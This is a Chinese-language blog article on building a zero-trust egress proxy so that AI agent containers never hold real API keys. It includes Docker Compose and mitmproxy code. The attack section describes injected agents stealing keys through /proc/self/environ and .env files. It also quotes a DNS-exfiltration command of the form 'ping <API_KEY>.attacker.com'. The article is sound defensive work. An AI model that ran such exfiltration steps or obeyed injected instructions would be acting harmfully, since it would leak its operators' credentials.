打造 AI Agent 零信任 Egress 防線
English Abstract: Putting real API keys into the environment variables of AI agent containers is unsafe. An agent that can run shell commands can read them from /proc/self/environ, leak them through DNS queries, or expose them through a .env file. This article builds a zero-trust egress layer: an internal-only Docker network with no external route, plus an egress proxy that holds the real keys and swaps a phantom token for them only on allowlisted domains. It includes a runnable Docker Compose and mitmproxy setup, and extends the design into an enterprise AI gateway for key rotation, budget circuit breaking, and audit logging.
本文重點大綱
- 架構觀念翻轉:在微服務時代,The Twelve-Factor App 提倡將設定與憑證存入環境變數(Environment Variables);但在具備 Shell 執行權限與自主控制迴圈(Control Loop)的 AI Agent 時代,將真實 API Key 放進容器環境變數等同於將機密公開。
- 三大真實攻擊向量與 CVE 佐證:深入剖析失控或遭受間接提示詞注入(Indirect Prompt Injection)的 AI Agent,如何繞過指令黑名單,透過 Linux /proc/self/environ 跨行程繼承、DNS 隧道(DNS Exfiltration,以 CVE-2025-55284 為例) 與 .env 渲染漏洞竊取憑證。
- 視覺化網路拓撲與時序拆解:透過雙網路隔離架構圖與協定攔截時序圖,說明如何運用 Docker internal: true 封閉網路搭配獨立 Egress Proxy 容器,實現「Phantom Token(幻影憑證)」動態替換機制。
- 生產環境可執行實作:提供完整的 docker-compose.yml 雙網路隔離配置與 15 行 Python Proxy 憑證注入腳本,並延伸探討企業級 API Gateway(如 Kong、Tyk)在 Token 速率限制與審計日誌上的單一控制點治理。
在上一篇文章(傳統容器 vs. MicroVM 沙盒)中,探討了如何透過硬體虛擬化層級的 MicroVM(如 Docker sbx、Kata Containers)解決共用 Linux Kernel 帶來的容器逃逸風險(如 runC CVE-2025-52881)。然而,解決了「運算層(Compute Layer)」的核心隔離後,當這些容器化的 AI Agent 需要部署至伺服器叢集並連線至外部 LLM API 或內部系統時,立刻會面臨第二道防線考驗:網路控制平面(Network Control Plane)與憑證生命週期治理。
回顧在 2018 年撰寫的〈Docker Proxy 配置〉,當時企業設定 Proxy 的主要目的,是為了讓位於內網隔離區的 Docker Daemon 與 Container 能夠順利通過公司防火牆向外拉取映像檔(Pull Images)或存取外部套件。
到了 2026 年的 AI Agent 時代,Proxy 的架構定位發生了根本性的翻轉:過去我們配置 Proxy 是為了「讓內網容器出得去」;現在我們配置 Egress Proxy,則是為了「防止容器裡的 AI Agent 把機密憑證帶出去」。
一、 為什麼「環境變數存設定」成為最大破口?
過去十多年來,雲端原生與微服務架構奉The Twelve-Factor App 為圭臬,其中第三條準則(III. Config)明確建議將應用程式的設定與憑證儲存在環境變數(Environment Variables)中,於容器啟動時透過 docker run -e 或 Kubernetes Secret 注入。
這套模式在傳統微服務中運作良好,前提是:容器內執行的程式碼是由人類工程師編寫、行為完全確定(Deterministic)的靜態邏輯。一個標準的 Go 或 Python 後端服務,除非存在嚴重的遠端程式碼執行(RCE)漏洞,否則不會無故將自己的環境變數傾印並傳送至外部網路。
但 AI Agent(如 Claude Code、Cline、Codex、開源 AI 代理工具或自動化維運 Agent)完全顛覆了這個前提。AI Agent 的核心價值,正是在於它能夠根據外部輸入的上下文(如讀取未經驗證的 GitHub PR、第三方系統日誌、外部網頁文件),在控制迴圈中動態生成程式碼並直接呼叫系統 Shell。這意味著:
當容器內的應用程式本身就具備任意指令執行(Arbitrary Command Execution)與檔案讀取權限時,任何存在於該容器記憶體空間、環境變數或掛載目錄中的明文金鑰,在資安邊界上都應視為「已完全暴露」。
| 治理維度 | 傳統微服務 Proxy 架構 | AI Agent 零信任 Egress Proxy 架構 |
|---|---|---|
| 核心解決問題 | 讓內網受限的 Daemon 與容器能順利連外拉取資源 | 阻斷自主型 AI 容器私自連外,並防止機密憑證遭竊取 |
| 容器內執行主體 | 行為已知、邏輯固定的編譯後執行檔或腳本 | 行為具高度不確定性、可動態生成並執行 Shell 的自主迴圈 |
| 憑證存放位置 | 直接透過 -e 環境變數或 Volume 掛載至目標容器內 | 容器內僅存放無效的代用字串(Phantom Token),真實金鑰留存於外部 Proxy |
| 出站網路策略 | 預設 Bridge 允許外部 DNS 解析與直連,或僅做基礎轉發 | 容器掛載於 internal: true 封閉網路,強制所有流量經由 L7 白名單審查 |
| 容錯與熔斷控制 | 依賴應用程式自身實作 Retry 與 Timeout | 由外部 Proxy / API Gateway 統一實施 Token 配額熔斷與審計紀錄 |
二、 攻擊面深度拆解:不靠 env 指令,失控的 AI Agent 如何偷走你的 API Key?
許多開發團隊認為,只要在 AI Agent 的系統提示詞(System Prompt)中加入安全規則,或在工具層面將 env、printenv、export 等 Shell 指令列入黑名單,就能放心把 OPENAI_API_KEY 或 GITHUB_TOKEN 放進容器環境變數。
事實上,在 Linux 作業系統與網路協定的底層機制下,這種防禦方式存在三個早已被資安界證實的致命破口:
破口 A:Linux /proc/self/environ 虛擬檔案系統與子行程繼承(CWE-526)
根據Linux Kernel 官方手冊 proc_pid_environ(5) 的規範,每一個執行中的 Linux 行程都會在 procfs 下生成 /proc/<pid>/environ(或指向自身的 /proc/self/environ)檔案,內部以 Null byte (\0) 分隔記錄了該行程啟動時的完整環境變數。
即使封鎖了 Shell 的 env 指令,AI Agent 在執行 Python、Node.js 或任何輔助腳本時,只需一行標準檔案讀取操作(如 open('/proc/self/environ').read())即可取得所有金鑰。此外,根據MITRE CWE-526(環境變數明文儲存弱點)與Mercari 工程團隊發布的 Kubernetes 威脅偵測研究,當容器主行程帶著環境變數啟動後,由 Agent 衍生的所有子行程(Child Processes)與第三方套件安裝腳本(如 npm install、pip install 的 postinstall 腳本)都會預設繼承這份環境變數,形成極大的供應鏈攻擊面。
破口 B:繞過 HTTP 防火牆的 DNS 隧道外洩(以 CVE-2025-55284 為例)
這是近年 AI Agent 資安領域最具代表性的真實漏洞。許多架構師會透過防火牆限制容器只能對特定 IP 發起 HTTP/HTTPS(TCP Port 80/443)連線,卻忽略了 Docker 預設的 bridge 網路仍然允許容器向外部進行 DNS 解析查詢(UDP Port 53)。
在 2025 年揭露並修補的某主流 AI 程式助理漏洞 CVE-2025-55284 中,資安研究員 Johann Rehberger 展示了攻擊者如何透過在專案檔案中埋入間接提示詞注入(Indirect Prompt Injection),誘導 AI Agent 讀取環境變數中的敏感金鑰,並將金鑰字串拼接為子網域,執行看似無害的網路診斷或連線指令(例如 ping <API_KEY>.attacker.com)。
此時,即便容器無法建立外部 HTTP 連線,這筆包含明文金鑰的 DNS 查詢請求,早已透過宿主機的 DNS Resolver 一路遞迴轉發至攻擊者控制的權威名稱伺服器(Authoritative Name Server)。PipeLab 在 2026 年針對容器化 Coding Agent 的實測報告與近期的 SalesBleed 企業級 Agent 攻擊案例皆證實,只要容器具備外部 DNS 解析能力,環境變數中的憑證就能在毫秒間繞過傳統 HTTP 防火牆外洩。
破口 C:工作目錄 .env 自動讀取與異常日誌傾印
除了環境變數外,直接將 .env 掛載進容器工作目錄同樣危險。在針對熱門開源 AI 代理工具的資料外洩實測中,當 Agent 讀取外部遭污染的 README.md 時,隱藏指令能誘使 Agent 自動讀取同目錄下的 .env 檔案,並將竊取的金鑰嵌入 Markdown 圖片標籤
或透過錯誤堆疊(Crash Stack Trace)印出。這類風險亦被正式列為OWASP Top 10 for LLM Applications (2025) 的頭號威脅(LLM01: Prompt Injection 與 LLM02: Sensitive Information Disclosure)。
三、 架構設計:用 Docker internal 雙網路與 Egress Proxy 實作「Phantom Token」模式
為了在標準 Docker 與容器叢集環境中徹底封堵上述三個破口,我們不能依賴 AI Agent 的「自律」,而必須透過網路拓撲與代理機制進行物理隔離。
核心設計原則有兩點:
- 網路層物理斷網(阻斷直連與 DNS 隧道):建立一個設定為 internal: true 的封閉 Docker Network。Docker Engine 不會為此網路配置預設閘道器(Default Gateway),且拒絕任何對外的直接路由與外部 UDP 53 DNS 解析。
- 應用層幻影憑證替換(Phantom Token / Credential Injection):在 AI Agent 容器內僅注入毫無價值的假代幣(如 phantom-token-001)。所有出站連線必須透過跨接雙網路的 Egress Proxy 容器;Proxy 在確認目標網域符合白名單後,才會在網路傳輸層將假代幣動態替換為真實 API Key。
1. 雙網路隔離與 Egress Proxy 拓撲架構圖
2. Phantom Token 正常呼叫 vs. 遭遇注入攻擊攔截時序圖
以下時序圖展示了當 AI Agent 正常呼叫 API,以及遭遇類似 CVE-2025-55284 的間接提示詞注入攻擊時,雙網路與 Egress Proxy 如何協同防禦:
四、 實務配置指南:Docker Compose 雙網路與 Proxy 憑證注入實作
以下提供可在本地伺服器或容器環境直接驗證的部分配置範例。使用輕量級可程式化的 mitmproxy 作為 Egress Proxy 示範(在企業生產環境中,可直接替換為 Envoy、Kong AI Gateway 或 Tyk)。
1. 編寫 docker-compose.yml(定義雙網路隔離與資源防呆)
在此配置中,請特別注意 ai-agent 只掛載了 agent-isolated-net,而真實金鑰檔案 ./host-secrets.env 只掛載給 egress-proxy:
version: "3.9"
services:
# 1. 受保護的 AI Agent 容器 (物理斷網,僅持有 Phantom Token)
ai-agent:
image: my-coding-agent:latest
container_name: isolated-ai-agent
# 若在支援 Kata 或 gVisor 的叢集,可在此指定 runtime: runsc 或 kata-runtime
networks:
- agent-isolated-net
environment:
# 注入毫無價值的假代幣,就算被讀走 /proc/self/environ 也無妨
- OPENAI_API_KEY=phantom-token-001
- ANTHROPIC_API_KEY=phantom-token-002
# 強制所有 HTTP/HTTPS 流量走內部 Egress Proxy 容器
- HTTP_PROXY=http://egress-proxy:8080
- HTTPS_PROXY=http://egress-proxy:8080
- NO_PROXY=localhost,127.0.0.1
# 信任內部 L7 Proxy 的憑證以進行 Header 檢查與替換
- SSL_CERT_FILE=/usr/local/share/ca-certificates/mitmproxy-ca-cert.pem
volumes:
- proxy-ca-certs:/usr/local/share/ca-certificates:ro
# 結合 cgroups 限制最大行程數與記憶體,防止失控迴圈引發 Fork Bomb
deploy:
resources:
limits:
cpus: "2.0"
memory: 4G
pids: 100
read_only: true
tmpfs:
- /tmp:size=512M,mode=1777
depends_on:
- egress-proxy
# 2. 跨接雙網路的 Egress Proxy 容器 (唯一持有真實金鑰的守門員)
egress-proxy:
image: mitmproxy/mitmproxy:latest
container_name: secure-egress-proxy
command: mitmdump -s /etc/proxy/inject_credentials.py --listen-host 0.0.0.0 --listen-port 8080
networks:
- agent-isolated-net # 介面 1:接收內部 Agent 的請求
- egress-external-net # 介面 2:轉發合法請求至外部網際網路
env_file:
- ./host-secrets.env # 存放真實金鑰 (如 REAL_OPENAI_KEY=sk-proj-xxx)
volumes:
- ./proxy-scripts/inject_credentials.py:/etc/proxy/inject_credentials.py:ro
- proxy-ca-certs:/home/mitmproxy/.mitmproxy
volumes:
proxy-ca-certs:
networks:
# 關鍵防線:設定 internal: true,Docker Engine 會禁止此網路建立預設 Gateway 路由
# 徹底阻斷容器直接對外發起 TCP/UDP (含 Port 53 DNS 隧道) 的能力
agent-isolated-net:
driver: bridge
internal: true
# 外部出站網路:僅供 Egress Proxy 使用
egress-external-net:
driver: bridge
2. 編寫 Egress Proxy 憑證替換與白名單腳本(inject_credentials.py)
這支簡潔的 Python 攔截腳本運行於 egress-proxy 容器內,負責執行兩項核心任務:第一,攔截所有非白名單網域的連線;第二,確保只有當請求確實是發往對應的官方 API 網域時,才將 phantom-token 替換為真實金鑰(防止 Agent 把假代幣發往 A 白名單網域,卻誘使 Proxy 換上 B 網域的真金鑰):
import os
from mitmproxy import http
# 定義嚴格的「目標網域 vs. 幻影代幣 vs. 真實金鑰」映射表
ALLOWED_DESTINATIONS = {
"api.openai.com": {
"phantom": "Bearer phantom-token-001",
"real": f"Bearer {os.environ.get('REAL_OPENAI_KEY', '')}"
},
"api.anthropic.com": {
"phantom": "phantom-token-002",
"real": os.environ.get("REAL_ANTHROPIC_KEY", "")
}
}
def request(flow: http.HTTPFlow) -> None:
host = flow.request.pretty_host
# 防線 1:L7 網域白名單檢查,阻斷任何未授權的外部連線
if host not in ALLOWED_DESTINATIONS:
flow.response = http.Response.make(
403,
b"Blocked by Egress Proxy: Destination domain not in allowlist.\n",
{"Content-Type": "text/plain"}
)
return
# 防線 2:綁定目標網域的動態憑證替換 (Domain-Bound Credential Injection)
rule = ALLOWED_DESTINATIONS[host]
for header_name in ["Authorization", "x-api-key"]:
if flow.request.headers.get(header_name) == rule["phantom"]:
flow.request.headers[header_name] = rule["real"]
五、 架構師的治理延伸:當 Egress Proxy 升級為企業級 AI Gateway
當我們將憑證控制權從「各個分散的 AI Agent 容器」收回到「集中式的 Egress Proxy / API Gateway(如 Kong 或 Tyk)」時,這套架構所帶來的價值就不再只是被動的資安防禦,而是成為企業治理 AI 流量的單一控制點(Single Point of Control)。
站在 SRE 與平台工程(Platform Engineering)的角度,這套模式能直接解決另外三個維運痛點:
- 無感金鑰輪替與緊急撤銷(Zero-Downtime Key Rotation):當企業需要定期更換 API Key 或發現某組憑證疑似異常時,維運團隊只需在外部 Proxy 或 Vault 更新金鑰,完全不需要重啟任何一個正在執行長時任務的 AI Agent 容器。
- 防止預算失控的網路層熔斷器(Token & Cost Circuit Breaker):AI Agent 若因邏輯錯誤陷入無限迴圈(Loop Engineering 失控),在短短幾分鐘內就能消耗數百美元的 Token。透過外部 Gateway 統計每個容器的請求頻率(RPM)與 Token 消耗量(TPM),一旦超標即可在 Proxy 層直接回傳 429 Too Many Requests 強制熔斷,保護錯誤預算(Error Budget)與雲端帳單。
- 不可篡改的獨立審計軌跡(Immutable Audit Logging):如果將日誌記錄模組放在 AI Agent 容器內,一旦容器遭到入侵或污染,攻擊者就能清除本地紀錄。將審計日誌收斂在 Agent 無權存取的外部 Egress Proxy 上,所有流出的 Prompt 與外部 API 呼叫都會留下完整且不可篡改的稽核紀錄。
從 2018 年單純解決網路連通性的 Docker Proxy,到 2026 年結合 internal 封閉網路與 Phantom Token 的零信任 Egress Gateway,工具的底層原理或許一脈相承,但架構師對「信任邊界」的定義必須與時俱進。永遠不要相信一個擁有 Shell 權限的自主迴圈——把 Kernel 用 MicroVM 隔開,把金鑰留在 Proxy 門外,才是駕馭 AI Agent 的工程之道。
References
- Linux Kernel Man-pages: proc_pid_environ(5) - Process environment variables in procfs
- MITRE CWE-526: Cleartext Storage of Sensitive Information in an Environment Variable
- Mercari Engineering Blog: Restructuring the Kubernetes Threat Matrix and Attack Detection by Falco (/proc/self/environ credential theft)
- CVE-2025-55284(AI 程式助理): Data Exfiltration via DNS Requests (Embrace The Red)
- PipeLab Security Research (2026): Your AI agent leaks API keys through DNS queries
- 開源 AI Agent 工具安全分析: AI Agent Vulnerable To Data Exfiltration (.env file theft via Indirect Prompt Injection)
- OWASP Top 10 for Large Language Model Applications (2025): LLM01 Prompt Injection & LLM02 Sensitive Information Disclosure
- Docker Official Documentation: Docker Compose Networking (internal: true network isolation)
留言
張貼留言